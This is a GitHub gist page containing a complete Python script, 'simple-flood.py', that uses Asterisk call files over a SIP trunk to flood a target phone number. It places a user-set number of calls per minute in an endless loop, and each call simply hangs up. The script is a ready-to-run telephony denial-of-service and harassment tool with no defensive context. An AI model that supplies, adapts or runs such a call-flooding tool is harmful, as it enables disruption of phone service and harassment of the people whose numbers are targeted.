Skip to content

Instantly share code, notes, and snippets.

@rdegges
Created November 20, 2009 23:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rdegges/239878 to your computer and use it in GitHub Desktop.
Save rdegges/239878 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
"""
simple-flood.py
@author: Randall Degges
@email: rdegges@gmail.com
@date: 11-20-09
This program floods the specified phone number.
"""
from time import sleep
from sys import argv, exit
from pycall.callfile import *
def call(num):
"""
Create a call to the specified number which does nothing except hang up.
"""
testcall = CallFile(
trunk_type = 'SIP',
trunk_name = 'flowroute',
number = num,
application = 'Hangup',
data = ' ',
user = 'asterisk'
)
testcall.run()
def main():
"""
Control the application logic.
"""
if len(argv) < 3:
print 'Usage: %s [number] [calls-per-minute]' % argv[0]
exit(1)
number = argv[1]
try:
cpm = int(argv[2])
except ValueError:
cpm = 1
print 'Starting call flood on target: %s. Placing %d calls per minute.' % (number, cpm)
count = 1
while True:
for x in xrange(cpm):
print 'Placing call %d...' % count
call(number)
count = count + 1
sleep(60)
if __name__ == '__main__':
"""
Program execution begins here.
"""
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment